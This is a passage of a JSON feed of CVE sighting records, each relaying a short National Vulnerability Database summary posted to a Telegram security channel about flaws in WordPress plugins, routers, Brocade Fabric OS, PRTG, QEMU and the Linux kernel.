"2023-07-17T18:40:23.000000Z"}, {"uuid": "9b00c3ba-630e-413d-bf74-a682a4a345c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3186", "type": "seen", "source": "https://t.me/cibsecurity/66814", "content": "\u203c CVE-2023-3186 \u203c\n\nThe Popup by Supsystic WordPress plugin before 1.10.19 has a prototype pollution vulnerability that could allow an attacker to inject arbitrary properties into Object.prototype.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-17T18:40:11.000000Z"}, {"uuid": "dff2bca7-4788-4d78-918f-22a14968c3ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31851", "type": "seen", "source": "https://t.me/cibsecurity/66813", "content": "\u203c CVE-2023-31851 \u203c\n\nCudy LT400 1.13.4 is has a cross-site scripting (XSS) vulnerability in /cgi-bin/luci/admin/network/wireless/status via the iface parameter.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-17T18:40:10.000000Z"}, {"uuid": "a116f06b-85d3-4885-abbc-965a60c9fd9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31853", "type": "seen", "source": "https://t.me/cibsecurity/66827", "content": "\u203c CVE-2023-31853 \u203c\n\nCudy LT400 1.13.4 is vulnerable Cross Site Scripting (XSS) in /cgi-bin/luci/admin/network/bandwidth via the icon parameter.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-17T18:40:25.000000Z"}, {"uuid": "d25ad8a4-dc72-4034-92ef-02afaab27610", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31904", "type": "seen", "source": "https://t.me/cibsecurity/64316", "content": "\u203c CVE-2023-31904 \u203c\n\nsavysoda Wifi HD Wireless Disk Drive 11 is vulnerable to Local File Inclusion.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-17T16:31:17.000000Z"}, {"uuid": "4e70855c-ff2d-4e17-806e-b23e5dc06554", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31447", "type": "seen", "source": "https://t.me/cibsecurity/68896", "content": "\u203c CVE-2023-31447 \u203c\n\nuser_login.cgi on Draytek Vigor2620 devices before 3.9.8.4 (and on all versions of Vigor2925 devices) allows attackers to send a crafted payload to modify the content of the code segment, insert shellcode, and execute arbitrary code.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-21T20:41:12.000000Z"}, {"uuid": "a32b5d53-2384-400a-a7e0-aff3f932a9ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31938", "type": "seen", "source": "https://t.me/cibsecurity/68790", "content": "\u203c CVE-2023-31938 \u203c\n\nSQL injection vulnerability found in Online Travel Agency System v.1.0 allows a remote attacker to execute arbitrary code via the emp_id parameter at employee_detail.php.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-18T00:37:38.000000Z"}, {"uuid": "78f700c9-4fb2-4fa2-b326-3ee94b94e3f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31939", "type": "seen", "source": "https://t.me/cibsecurity/68789", "content": "\u203c CVE-2023-31939 \u203c\n\nSQL injection vulnerability found in Online Travel Agency System v.1.0 allows a remote attacker to execute arbitrary code via the costomer_id parameter at customer_edit.php.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-18T00:37:37.000000Z"}, {"uuid": "50d471e4-96e6-4b95-8f3a-6e422263e686", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31079", "type": "seen", "source": "https://t.me/cibsecurity/68756", "content": "\u203c CVE-2023-31079 \u203c\n\nAuth. (contributor+) Stored Cross-Site Scripting (XSS) vulnerability in Chris Roberts Tippy plugin <=\u00c2\u00a06.2.1 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-17T18:37:23.000000Z"}, {"uuid": "b083fcc5-65ee-4e0b-8355-9b91e8f65fb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31940", "type": "seen", "source": "https://t.me/cibsecurity/68799", "content": "\u203c CVE-2023-31940 \u203c\n\nSQL injection vulnerability found in Online Travel Agency System v.1.0 allows a remote attacker to execute arbitrary code via the page_id parameter at article_edit.php.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-18T00:37:51.000000Z"}, {"uuid": "57da03bb-fd9a-44df-a3d0-6fe21a27c5c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31228", "type": "seen", "source": "https://t.me/cibsecurity/68829", "content": "\u203c CVE-2023-31228 \u203c\n\nAuth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in CreativeMindsSolutions CM On Demand Search And Replace plugin <=\u00c2\u00a01.3.0 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-18T16:38:14.000000Z"}, {"uuid": "6161f3f7-cf3f-4e52-92be-a8127f470422", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31094", "type": "seen", "source": "https://t.me/cibsecurity/68828", "content": "\u203c CVE-2023-31094 \u203c\n\nUnauth. Reflected Cross-Site Scripting (XSS) vulnerability in Lauri Karisola / WP Trio Stock Sync for WooCommerce plugin <=\u00c2\u00a02.4.0 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-18T16:38:12.000000Z"}, {"uuid": "f39c1b5a-a26d-46f1-824e-e90575c7b897", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31091", "type": "seen", "source": "https://t.me/cibsecurity/68742", "content": "\u203c CVE-2023-31091 \u203c\n\nAuth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in Pradeep Singh Dynamically Register Sidebars plugin <=\u00c2\u00a01.0.1 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-17T14:37:17.000000Z"}, {"uuid": "5f5a1d5e-32d7-4be4-b3ca-3b758dc05afa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31946", "type": "seen", "source": "https://t.me/cibsecurity/68806", "content": "\u203c CVE-2023-31946 \u203c\n\nFile Upload vulnerability found in Online Travel Agency System v.1.0 allows a remote attacker to execute arbitrary code via a crafted PHP file to the artical.php.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-18T00:38:00.000000Z"}, {"uuid": "5a637fab-5be4-4e1e-9e0b-a883587bf9e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31945", "type": "seen", "source": "https://t.me/cibsecurity/68805", "content": "\u203c CVE-2023-31945 \u203c\n\nSQL injection vulnerability found in Online Travel Agency System v.1.0 allows a remote attacker to execute arbitrary code via the id parameter at daily_expenditure_edit.php.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-18T02:24:43.000000Z"}, {"uuid": "0b475947-6c92-4a90-a749-198c451f42ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31944", "type": "seen", "source": "https://t.me/cibsecurity/68804", "content": "\u203c CVE-2023-31944 \u203c\n\nSQL injection vulnerability found in Online Travel Agency System v.1.0 allows a remote attacker to execute arbitrary code via the emp_id parameter at employee_edit.php.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-18T00:37:58.000000Z"}, {"uuid": "72ee7cda-9cca-4e90-9058-f5d486874cf0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31941", "type": "seen", "source": "https://t.me/cibsecurity/68797", "content": "\u203c CVE-2023-31941 \u203c\n\nFile Upload vulnerability found in Online Travel Agency System v.1.0 allows a remote attacker to execute arbitrary code via a crafted PHP file to the employee_insert.php.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-18T00:37:48.000000Z"}, {"uuid": "c517078d-89cf-4cab-85c8-37d4cd8a9e76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31943", "type": "seen", "source": "https://t.me/cibsecurity/68796", "content": "\u203c CVE-2023-31943 \u203c\n\nSQL injection vulnerability found in Online Travel Agency System v.1.0 allows a remote attacker to execute arbitrary code via the ticket_id parameter at ticket_detail.php.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-18T00:37:47.000000Z"}, {"uuid": "6a0c9bf8-4db6-4b2b-a310-25556de859fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31072", "type": "seen", "source": "https://t.me/cibsecurity/68760", "content": "\u203c CVE-2023-31072 \u203c\n\nUnauth. Reflected Cross-Site Scripting (XSS) vulnerability in Praveen Goswami Advanced Category Template plugin <=\u00c2\u00a00.1 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-17T18:37:27.000000Z"}, {"uuid": "4a26b27a-bfc2-4666-8ea2-ebde69b3b774", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31074", "type": "seen", "source": "https://t.me/cibsecurity/68739", "content": "\u203c CVE-2023-31074 \u203c\n\nUnauth. Reflected Cross-Site Scripting (XSS) vulnerability in hupe13 Extensions for Leaflet Map plugin <=\u00c2\u00a03.4.1 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-17T14:37:13.000000Z"}, {"uuid": "8aae149e-108f-4cf6-a26a-9fca4174249c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31071", "type": "seen", "source": "https://t.me/cibsecurity/68730", "content": "\u203c CVE-2023-31071 \u203c\n\nUnauth. Reflected Cross-Site Scripting (XSS) vulnerability in Yannick Lefebvre Modal Dialog plugin <=\u00c2\u00a03.5.14 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-17T12:37:16.000000Z"}, {"uuid": "5b485cf9-299f-4d8c-bc9a-1e5592a3b257", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31076", "type": "seen", "source": "https://t.me/cibsecurity/68723", "content": "\u203c CVE-2023-31076 \u203c\n\nUnauth. Reflected Cross-Site Scripting (XSS) vulnerability in Really Simple Plugins Recipe Maker For Your Food Blog from Zip Recipes plugin <=\u00c2\u00a08.0.6 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-17T12:37:09.000000Z"}, {"uuid": "e6dfac64-3725-4c05-8428-7b0b36ca11b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31041", "type": "seen", "source": "https://t.me/cibsecurity/68443", "content": "\u203c CVE-2023-31041 \u203c\n\nAn issue was discovered in SysPasswordDxe in Insyde InsydeH2O with kernel 5.0 through 5.5. System password information could optionally be stored in cleartext, which might lead to possible information disclosure.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-14T18:24:27.000000Z"}, {"uuid": "0e744d0a-a0b9-4c00-8cad-b9d087ffd3df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31209", "type": "seen", "source": "https://t.me/cibsecurity/68177", "content": "\u203c CVE-2023-31209 \u203c\n\nImproper neutralization of active check command arguments in Checkmk < 2.1.0p32, < 2.0.0p38, < 2.2.0p4 leads to arbitrary command execution for authenticated users.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-10T12:15:38.000000Z"}, {"uuid": "68311f81-cac0-489b-9ffc-e6aaab926d75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31246", "type": "seen", "source": "https://t.me/cibsecurity/68298", "content": "\u203c CVE-2023-31246 \u203c\n\nIncorrect default permissions in some Intel(R) SDP Tool software before version 1.4 build 5 may allow an authenticated user to potentially enable escalation of privilege via local access.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-11T07:29:37.000000Z"}, {"uuid": "f28c7945-9bf1-4d57-9ab7-a168a006cf2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31449", "type": "seen", "source": "https://t.me/cibsecurity/68094", "content": "\u203c CVE-2023-31449 \u203c\n\nAn issue was discovered in Paessler PRTG Network Monitor 23.2.83.1760 x64. To exploit the vulnerability, a authenticated user can create a WMI Custom Sensor. When creating this sensor, the user can set the WQL message that should be sent from the PRTG device. This input parameter contains a path traversal vulnerability that allows an attacker to choose arbitrary files from the system.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-09T16:14:56.000000Z"}, {"uuid": "2048ed7d-48f7-4b66-96b5-11a36fe1ebad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31452", "type": "seen", "source": "https://t.me/cibsecurity/68092", "content": "\u203c CVE-2023-31452 \u203c\n\nAn issue was discovered in Paessler PRTG Network Monitor 23.2.83.1760 x64. The NetApp Volume Sensor transmits cleartext credentials over the network when the HTTP protocol is selected. This can be triggered remotely via a CSRF by simply sending a controls/addsensor3.htm link to a logged-in victim.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-09T16:14:55.000000Z"}, {"uuid": "6c920ebc-72c1-49e4-b1c4-934f9287e7f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31448", "type": "seen", "source": "https://t.me/cibsecurity/68090", "content": "\u203c CVE-2023-31448 \u203c\n\nAn issue was discovered in Paessler PRTG Network Monitor 23.2.83.1760 x64. To exploit the vulnerability, a authenticated user can create a HL7 Sensor. When creating this sensor, the user can set the HL7 message that should be sent from the PRTG device. This input parameter contains a path traversal vulnerability that allows an attacker to choose arbitrary files from the system.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-09T16:14:53.000000Z"}, {"uuid": "6e1c9375-87c5-4357-9627-52b99b2a81ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31432", "type": "seen", "source": "https://t.me/cibsecurity/67555", "content": "\u203c CVE-2023-31432 \u203c\n\nThrough manipulation of passwords or other variables, using commands such as portcfgupload, configupload, license, myid, a non-privileged user could obtain root privileges in Brocade Fabric OS versions before Brocade Fabric OS v9.1.1c and v9.2.0.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-02T07:39:07.000000Z"}, {"uuid": "4888980d-ab09-469c-aa84-f0b9165a3433", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31194", "type": "seen", "source": "https://t.me/cibsecurity/65992", "content": "\u203c CVE-2023-31194 \u203c\n\nAn access violation vulnerability exists in the GraphPlanar::Write functionality of Diagon v1.0.139. A specially crafted network request can lead to a heap buffer overflow. An attacker can send a network request to trigger this vulnerability.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-05T20:22:01.000000Z"}, {"uuid": "7e3492ec-825b-401e-a503-90b856dd111b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31277", "type": "seen", "source": "https://t.me/cibsecurity/66169", "content": "\u203c CVE-2023-31277 \u203c\n\nPiiGAB M-Bus transmits credentials in plaintext format.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-07T02:25:42.000000Z"}, {"uuid": "fb1d46ce-bf17-4c59-b65b-dfbe42b50e3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3133", "type": "seen", "source": "https://t.me/cibsecurity/65920", "content": "\u203c CVE-2023-3133 \u203c\n\nThe Tutor LMS WordPress plugin before 2.2.1 does not implement adequate permission checks for REST API endpoints, allowing unauthenticated attackers to access information from Lessons that should not be publicly available.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-04T12:28:09.000000Z"}, {"uuid": "b2600740-e572-42e7-b9d4-8aff15610b48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31999", "type": "seen", "source": "https://t.me/cibsecurity/65940", "content": "\u203c CVE-2023-31999 \u203c\n\nAll versions of @fastify/oauth2 used a statically generated state parameter at startup time and were used across all requests for all users. The purpose of the Oauth2 state parameter is to prevent Cross-Site-Request-Forgery attacks. As such, it should be unique per user and should be connected to the user's session in some way that will allow the server to validate it.v7.2.0 changes the default behavior to store the state in a cookie with the http-only and same-site=lax attributes set. The state is now by default generated for every user. Note that this contains a breaking change in the checkStateFunction function, which now accepts the full Request object.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-04T20:39:35.000000Z"}, {"uuid": "146d235a-4752-4cbb-b0e3-a737cacd8767", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31248", "type": "seen", "source": "https://t.me/cibsecurity/66006", "content": "\u203c CVE-2023-31248 \u203c\n\nLinux Kernel nftables Use-After-Free Local Privilege Escalation Vulnerability; `nft_chain_lookup_byid()` failed to check whether a chain was active and CAP_NET_ADMIN is in any user or network namespace\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-05T22:22:11.000000Z"}, {"uuid": "00552789-0bed-4e54-b658-85cd5c11a7ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31543", "type": "seen", "source": "https://t.me/cibsecurity/65825", "content": "\u203c CVE-2023-31543 \u203c\n\nA dependency confusion in pipreqs v0.3.0 to v0.4.11 allows attackers to execute arbitrary code via uploading a crafted PyPI package to the chosen repository server.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-01T01:42:09.000000Z"}, {"uuid": "380d9dc8-57c4-4a13-98b1-b65d8ffe04c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31997", "type": "seen", "source": "https://t.me/cibsecurity/65844", "content": "\u203c CVE-2023-31997 \u203c\n\nUniFi OS 3.1 introduces a misconfiguration on consoles running UniFi Network that allows users on a local network to access MongoDB. Applicable Cloud Keys that are both (1) running UniFi OS 3.1 and (2) hosting the UniFi Network application. \"Applicable Cloud Keys\" include the following: Cloud Key Gen2 and Cloud Key Gen2 Plus.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-01T07:15:51.000000Z"}, {"uuid": "5ba319e0-c37f-46ae-b0e0-809c994fa433", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3190", "type": "seen", "source": "https://t.me/cibsecurity/65122", "content": "\u203c CVE-2023-3190 \u203c\n\nImproper Encoding or Escaping of Output in GitHub repository nilsteampassnet/teampass prior to 3.0.9.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-06-10T12:27:24.000000Z"}, {"uuid": "584357ea-8562-4798-9b4e-8e8fb6a8655b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3191", "type": "seen", "source": "https://t.me/cibsecurity/65121", "content": "\u203c CVE-2023-3191 \u203c\n\nCross-site Scripting (XSS) - Stored in GitHub repository nilsteampassnet/teampass prior to 3.0.9.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-06-10T12:27:24.000000Z"}, {"uuid": "cec2960c-7964-4305-a29a-14173661c9fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31428", "type": "seen", "source": "https://t.me/cibsecurity/67550", "content": "\u203c CVE-2023-31428 \u203c\n\nBrocade Fabric OS before Brocade Fabric OS v9.1.1c, v9.2.0 contains a vulnerability in the command line that could allow a local user to dump files under user's home directory using grep.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-02T07:38:59.000000Z"}, {"uuid": "bfe04088-e33f-4bfe-9f13-b63de431d407", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3180", "type": "seen", "source": "https://t.me/cibsecurity/67694", "content": "\u203c CVE-2023-3180 \u203c\n\nA flaw was found in the QEMU virtual crypto device while handling data encryption/decryption requests in virtio_crypto_handle_sym_req. There is no check for the value of `src_len` and `dst_len` in virtio_crypto_sym_op_helper, potentially leading to a heap buffer overflow when the two values differ.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-03T18:40:18.000000Z"}, {"uuid": "83f43276-169e-4e89-9768-548591ba5d20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3161", "type": "seen", "source": "https://t.me/cibsecurity/65145", "content": "\u203c CVE-2023-3161 \u203c\n\nA flaw was found in the Framebuffer Console (fbcon) in the Linux Kernel. When providing font->width and font->height greater than 32 to fbcon_set_font, since there are no checks in place, a shift-out-of-bounds occurs leading to undefined behavior and possible denial of service.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-06-13T00:14:29.000000Z"}, {"uuid": "4eecbd2d-c12f-4ae6-a354-35bf0edabc53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31936", "type": "seen", "source": "https://t.me/cibsecurity/67382", "content": "\u203c CVE-2023-31936 \u203c\n\nSql injection vulnerability found in Rail Pass Management System v.1.0 allows a remote attacker to execute arbitrary code via the viewid parameter of the view-pass-detail.php file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-28T18:36:02.000000Z"}, {"uuid": "39d3b79e-090b-4c25-906a-b03132ce2225", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31933", "type": "seen", "source": "https://t.me/cibsecurity/67381", "content": "\u203c CVE-2023-31933 \u203c\n\nSql injection vulnerability found in Rail Pass Management System v.1.0 allows a remote attacker to execute arbitrary code via the editid parameter of the edit-pass-detail.php file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-28T18:36:01.000000Z"}, {"uuid": "4f949114-d6cc-4db1-9991-e120970d35f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31436", "type": "seen", "source": "https://t.me/cibsecurity/67376", "content": "\u203c CVE-2023-39190 \u203c\n\n** REJECT ** CVE-2023-39190 was found to be a duplicate of CVE-2023-31436. Please see https://access.redhat.com/security/cve/CVE-2023-31436 for information about affected products and security errata.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-28T18:35:55.000000Z"}, {"uuid": "fcfae083-af77-4558-9564-33fc79082080", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31934", "type": "seen", "source": "https://t.me/cibsecurity/67375", "content": "\u203c CVE-2023-31934 \u203c\n\nCross Site Scripting vulnerability found in Rail Pass Management System v.1.0 allows a remote attacker to obtain sensitive information via the adminname parameter of admin-profile.php.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-28T18:35:54.000000Z"}, {"uuid": "ba3be830-cb59-49ef-aecb-a4711cc60e11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31926", "type": "seen", "source": "https://t.me/cibsecurity/67564", "content": "\u203c CVE-2023-31926 \u203c\n\nSystem files could be overwritten using the less command in Brocade Fabric OS before Brocade Fabric OS v9.1.1c and v9.2.0.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-15T21:29:20.000000Z"}, {"uuid": "c2ce7c8d-8b9e-42c0-801b-360c8a8d290e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31928", "type": "seen", "source": "https://t.me/cibsecurity/67562", "content": "\u203c CVE-2023-31928 \u203c\n\nA reflected cross-site scripting (XSS) vulnerability exists in Brocade Webtools PortSetting.html of Brocade Fabric OS version before Brocade Fabric OS v9.2.0 that could allow a remote unauthenticated attacker to execute arbitrary JavaScript code in a target user\u00e2\u20ac\u2122s session with the Brocade Webtools application.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-02T07:39:19.000000Z"}, {"uuid": "36bac0d8-3b5e-45c4-be42-e99b47551692", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31927", "type": "seen", "source": "https://t.me/cibsecurity/67561", "content": "\u203c CVE-2023-31927 \u203c\n\nAn information disclosure in the web interface of Brocade Fabric OS versions before Brocade Fabric OS v9.2.0 and v9.1.1c, could allow a remote unauthenticated attacker to get technical details about the web interface.\n\n\ud83d\udcd6 